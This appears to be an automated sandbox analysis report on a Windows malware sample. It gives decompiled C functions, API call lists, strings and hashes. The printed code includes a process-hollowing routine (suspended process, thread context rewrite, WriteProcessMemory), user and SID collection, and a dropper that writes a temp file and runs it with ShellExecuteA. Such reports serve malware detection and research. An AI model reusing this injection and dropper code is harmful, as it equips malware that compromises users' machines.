Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32 ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E
kernel32, xrefs: 00406CE2
C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85
Mt, xrefs: 00406CE7
GetSystemWow64DirectoryA, xrefs: 00406CDD

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32$Mt
API String ID: 1082366364-4075101892
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 00437223, Relevance: 15.2, APIs: 10, Instructions: 183COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043726B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004372A1
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004372C2
wcsncnt.LIBCMTD ref: 004372F9
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043735F
_wcslen.LIBCMTD ref: 0043756F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043757D

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_wcslenwcsncnt
String ID:
API String ID: 1043867012-0
Opcode ID: a75fb59ac886909f865883af9d2fd7fd6acc280cbf306607b00d4618d004dc0d
Instruction ID: 6a3d4343ec552494c15abe91e002b02fbe42af6ef2180acf4d17c2cd8bb310c5
Opcode Fuzzy Hash: a75fb59ac886909f865883af9d2fd7fd6acc280cbf306607b00d4618d004dc0d
Instruction Fuzzy Hash: 44817DB1904208EFCF18DF94C990BEEB7B1FF08314F20815AE8556B2A0DB38AE41DB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040977C, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
threadinjectionprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040977C(void* __ecx, CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				void _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _CONTEXT _v812;
				void* _t33;

				_t46 = __ecx;
				E0040EE2A(__ecx,  &_v96, 0, 0x44);
				_v96.cb = 0x44;
				if(CreateProcessA(0, _a4, 0, 0, 0, 4, 0, 0,  &_v96,  &_v20) != 0) {
					E0040EE2A(_t46,  &_v812, 0, 0x2cc);
					_v812.ContextFlags = 0x10002;
					if(GetThreadContext(_v20.hThread,  &_v812) != 0) {
						_t33 = E0040637C(_entry_, _v20.hProcess,  &_v28,  &_v24);
						_push(0);
						if(_t33 == 0) {
							L4:
							TerminateProcess(_v20.hProcess, ??);
							goto L1;
						}
						if(WriteProcessMemory(_v20, _v812.Ebx + 8,  &_v24, 4, ??) == 0) {
							goto L3;
						}
						_v812.Eax = _v28;
						if(SetThreadContext(_v20.hThread,  &_v812) == 0) {
							goto L3;
						}
						ResumeThread(_v20.hThread);
						return 1;
					}
					L3:
					_push(0);
					goto L4;
				}
				L1:
				return 0;
			}

0x0040977c
0x0040978f
0x004097a9
0x004097b9
0x004097cf
0x004097e1
0x004097f3
0x00409811
0x00409819
0x0040981c
0x004097f6
0x004097f9
0x00000000
0x004097f9
0x00409839
0x00000000
0x00000000
0x0040983e
0x00409856
0x00000000
0x00000000
0x0040985b
0x00000000
0x00409863
0x004097f5
0x004097f5
0x00000000
0x004097f5
0x004097bb
0x00000000

APIs

CreateProcessA.KERNEL32(00000000,00409947,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,?,PromptOnSecureDesktop), ref: 004097B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 00409831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040985B

Strings

PromptOnSecureDesktop, xrefs: 00409785
D, xrefs: 004097A9

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D$PromptOnSecureDesktop
API String ID: 2981417381-1403908072
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 00576761, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000008), ref: 005767AC
htonl.WS2_32(?), ref: 005767C8
htonl.WS2_32(?), ref: 005767D7
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 005768DA
ExitProcess.KERNEL32 ref: 005769A5

Strings

localcfg, xrefs: 0057697D
except_info, xrefs: 00576978

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Processhtonl$CurrentExitHugeRead
String ID: except_info$localcfg
API String ID: 1150517154-3605449297
Opcode ID: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction ID: 235da0898951ce6399b0bf691b2274b29290d1ff4ade5bbf8854b576139cf8a0
Opcode Fuzzy Hash: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction Fuzzy Hash: 28618071940208EFDB209FA4DC45FE97BE9FF48300F248066FA6CD2161DA759990DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00406F5F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00406F5F(long _a4, long _a8) {
				void* _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				void _v84;
				char _v212;
				CHAR* _t36;
				void* _t53;
				intOrPtr* _t54;
				char _t62;
				void* _t65;
				char* _t66;
				intOrPtr _t67;
				CHAR* _t68;
				void* _t69;

				_t68 = _a4;
				 *_t68 = 0;
				if(GetUserNameA(_t68,  &_a8) == 0) {
					return 0;
				}
				_t36 = _t68;
				_t66 =  &(_t36[1]);
				do {
					_t62 =  *_t36;
					_t36 =  &(_t36[1]);
				} while (_t62 != 0);
				_a8 = _t36 - _t66;
				_a4 = 0x7c;
				_v12 = 0x80;
				if(LookupAccountNameA(0, _t68,  &_v84,  &_a4,  &_v212,  &_v12,  &_v16) == 0) {
					L8:
					_a8 = _a8 + wsprintfA( &(_t68[_a8]), "/%d", E00406EDD());
					return _a8;
				}
				E0040EF00( &(_t68[_a8]), "/");
				_a8 = _a8 + 1;
				_push( &_v8);
				_t53 =  &_v84;
				_push(_t53);
				L0040F4AA();
				if(_t53 == 0) {
					goto L8;
				}
				_t54 = _v8;
				_t20 = _t54 + 1; // 0x121
				_t65 = _t20;
				do {
					_t67 =  *_t54;
					_t54 = _t54 + 1;
				} while (_t67 != 0);
				_a4 = _t54 - _t65;
				E0040EE08( &(_t68[_a8]), _v8, _t54 - _t65 + 1);
				_a8 = _a8 + _a4;
				_t69 = _t69 + 0xc;
				LocalFree(_v8);
				goto L8;
			}

0x00406f6c
0x00406f77
0x00406f82
0x00000000
0x00407047
0x00406f88
0x00406f8a
0x00406f8d
0x00406f8d
0x00406f8f
0x00406f90
0x00406f96
0x00406fb3
0x00406fba
0x00406fc9
0x00407025
0x0040703f
0x00000000
0x00407042
0x00406fd6
0x00406fdb
0x00406fe3
0x00406fe4
0x00406fe7
0x00406fe8
0x00406fef
0x00000000
0x00000000
0x00406ff1
0x00406ff4
0x00406ff4
0x00406ff7
0x00406ff7
0x00406ff9
0x00406ffa
0x00407000
0x0040700e
0x00407016
0x00407019
0x0040701f
0x00000000

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

|, xrefs: 00406FB3
/%d, xrefs: 00407030

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: d0dcaa4584af4ee21fb29ae66a8524e1be72cee8d1ca16944572a5c6b85c6430
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: d0dcaa4584af4ee21fb29ae66a8524e1be72cee8d1ca16944572a5c6b85c6430
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Uniqueness

Uniqueness Score: -1.00%

Function 00572F71, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 00572F8A
LoadLibraryA.KERNEL32(?), ref: 00572F9A
GetProcAddress.KERNEL32(00000000,004103F0), ref: 00572FB1
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00572FE9
RtlAllocateHeap.NTDLL(00000000), ref: 00572FF0
lstrcpyn.KERNEL32(00000008,?,000000FF), ref: 0057301B

Strings

dnsapi.dll, xrefs: 00572F79

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: dnsapi.dll
API String ID: 1242400761-3175542204
Opcode ID: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction ID: de4bc647dbf761ca96238721dce58cd6219bbd874b9e8fb0ac413950c9e4a244
Opcode Fuzzy Hash: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction Fuzzy Hash: 2521A471940229BBCB21DB54EC499EEBFBCFF18750F108425F809E7100D7B09A81A7D4

Uniqueness

Uniqueness Score: -1.00%

Function 00576F19, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\eyluinzr,0057702C), ref: 00576F37
GetProcAddress.KERNEL32(00000000), ref: 00576F3E
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00576F64
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00576F7B

Strings

PromptOnSecureDesktop, xrefs: 00576F86, 00576FA8, 00576FB8, 00576FCE, 00576FDE
C:\Windows\SysWOW64\, xrefs: 00576F19, 00576F21, 00576F4E, 00576F55, 00576F63, 00576F6E, 00576F7A, 00576F92, 00576FAF, 00576FD5
\\.\pipe\eyluinzr, xrefs: 00576F20

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$PromptOnSecureDesktop$\\.\pipe\eyluinzr
API String ID: 1082366364-1348496678
Opcode ID: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction ID: 0932fdfa7206746dca4d5edc05e376560963f48bc1140b88b97454fa4c8804d8
Opcode Fuzzy Hash: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction Fuzzy Hash: 812123217417447EF7229721BC8DFFB2E4CAB92710F08C0A5F40CE6191CAD9C89692BE

Uniqueness

Uniqueness Score: -1.00%

Function 00406BA7, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00406BA7(CHAR* _a4) {
				long _v8;
				long _v12;
				long _t14;
				int _t19;
				void* _t28;
				void* _t39;

				_push(_t30);
				if(IsBadCodePtr( *0x4130ac) == 0) {
					_push( &_v8);
					_push(0);
					if( *0x4130ac() == 0) {
						_t28 = E0040EBCC(_v8);
						if(_t28 == 0) {
							L7:
							_t14 = 0;
						} else {
							_push( &_v8);
							_push(_t28);
							if( *0x4130ac() == 0) {
								_v12 = 0;
								_t39 = CreateFileA(_a4, 0x40000000, 0, 0, 2, 0x80, 0);
								if(_t39 != 0xffffffff) {
									_t19 = WriteFile(_t39, _t28, _v8,  &_v12, 0);
									_push(_t39);
									if(_t19 != 0) {
										CloseHandle();
										E0040EC2E(_t28);
										_t14 = _v8;
									} else {
										CloseHandle();
										DeleteFileA(_a4);
										goto L9;
									}
								} else {
									L9:
									E0040EC2E(_t28);
									_t14 = 0;
								}
							} else {
								E0040EC2E(_t28);
								goto L7;
							}
						}
					} else {
						_t14 = 0;
					}
					return _t14;
				} else {
					return 0;
				}
			}

0x00406bab
0x00406bba
0x00406bc4
0x00406bc7
0x00406bd2
0x00406be4
0x00406be9
0x00406c03
0x00406c03
0x00406beb
0x00406bee
0x00406bef
0x00406bfa
0x00406c1a
0x00406c23
0x00406c28
0x00406c3e
0x00406c44
0x00406c47
0x00406c5a
0x00406c61
0x00406c66
0x00406c49
0x00406c49
0x00406c52
0x00000000
0x00406c52
0x00406c2a
0x00406c2a
0x00406c2b
0x00406c30
0x00406c30
0x00406bfc
0x00406bfd
0x00000000
0x00406c02
0x00406bfa
0x00406bd4
0x00406bd4
0x00406bd4
0x00406c6e
0x00406bbc
0x00406bbf
0x00406bbf

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Strings

PromptOnSecureDesktop, xrefs: 00406BC0

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Code
String ID: PromptOnSecureDesktop
API String ID: 3609698214-2980165447
Opcode ID: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
Opcode Fuzzy Hash: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Uniqueness

Uniqueness Score: -1.00%

Function 005792B4, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?), ref: 005792CB
wsprintfA.USER32 ref: 00579339
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0057935E
lstrlen.KERNEL32(?,?,00000000), ref: 00579372
WriteFile.KERNEL32(00000000,?,00000000), ref: 0057937D
CloseHandle.KERNEL32(00000000), ref: 00579384

Strings

PromptOnSecureDesktop, xrefs: 00579314, 0057932C, 00579347

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction ID: 6c821e46ebd411e0e6a6dd657ec47fd98152226554c816defc7a00c85d65f873
Opcode Fuzzy Hash: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction Fuzzy Hash: 8111A5B26401157BE7246725EC0EFEF3E6DEBC8700F00C465BB09A5091EEB44E419664

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 005799CC, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00579A01
GetThreadContext.KERNEL32(?,?), ref: 00579A3B
TerminateProcess.KERNEL32(?,00000000), ref: 00579A49
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 00579A81
SetThreadContext.KERNEL32(?,00010002), ref: 00579A9E
ResumeThread.KERNEL32(?), ref: 00579AAB

Strings

D, xrefs: 005799F9

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction ID: 4926dace36011b3e94f57180f07b87ba6179998100229ecc847dccb69c9b9cc2
Opcode Fuzzy Hash: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction Fuzzy Hash: 742148B1902219BBDB11DBA1EC09EEF7FBCFF04350F008060BA09E1050EB718A44DAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409145, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409145(void* __eflags) {
				char _v264;
				char _v1288;
				char* _t13;
				void* _t20;
				void* _t23;
				void* _t29;

				_t29 = __eflags;
				GetModuleFileNameA(GetModuleHandleA(0),  &_v264, 0x104);
				CharToOemA( &_v264,  &_v264);
				_t13 =  &_v264;
				_push(_t13);
				_push(_t13);
				wsprintfA( &_v1288, E00402544(0x4122f8,  &E004107A8, 0x66, 0xe4, 0xc8));
				E0040EE2A(_t23, 0x4122f8, 0, 0x100);
				_t20 = E00409064(_t29,  &_v1288,  &_v264);
				if(_t20 != 0) {
					return ShellExecuteA(0, 0,  &_v264, 0, 0, 0);
				}
				return _t20;
			}

0x00409145
0x00409166
0x00409174
0x0040917a
0x00409180
0x00409181
0x004091a9
0x004091b6
0x004091c9
0x004091d3
0x00000000
0x004091e1
0x004091ea

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,PromptOnSecureDesktop), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32 ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Strings

PromptOnSecureDesktop, xrefs: 0040914E, 00409193, 00409198, 004091B5
Mt, xrefs: 0040915F

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop$Mt
API String ID: 3857584221-2742646591
Opcode ID: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Uniqueness

Uniqueness Score: -1.00%

Function 00571BEC, Relevance: 12.1, APIs: 8, Instructions: 106memorylibraryCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(004102D8), ref: 00571C01
LoadLibraryA.KERNEL32(004102C8), ref: 00571C0F
GetProcessHeap.KERNEL32 ref: 00571C6D
RtlAllocateHeap.NTDLL(00000000,00000000,00000288), ref: 00571C86
RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 00571CAA
HeapFree.KERNEL32(?,00000000,00000000), ref: 00571CEB
FreeLibrary.KERNEL32(?), ref: 00571CF4

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFreeLibrary$LoadProcessinet_addr
String ID:
API String ID: 2324436984-0
Opcode ID: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction ID: fd4bf14bc633ba93cd5be1de203839648bbbe7a0ce15651474449373535d6879
Opcode Fuzzy Hash: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction Fuzzy Hash: 22316F72940219BFCB119FE8ED888EEBFB9FB45301B64847AE505E3110D7B54E80EB58

Uniqueness

Uniqueness Score: -1.00%

Function 0057C52C, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 182threadCOMMON

Download Yara Rule

APIs

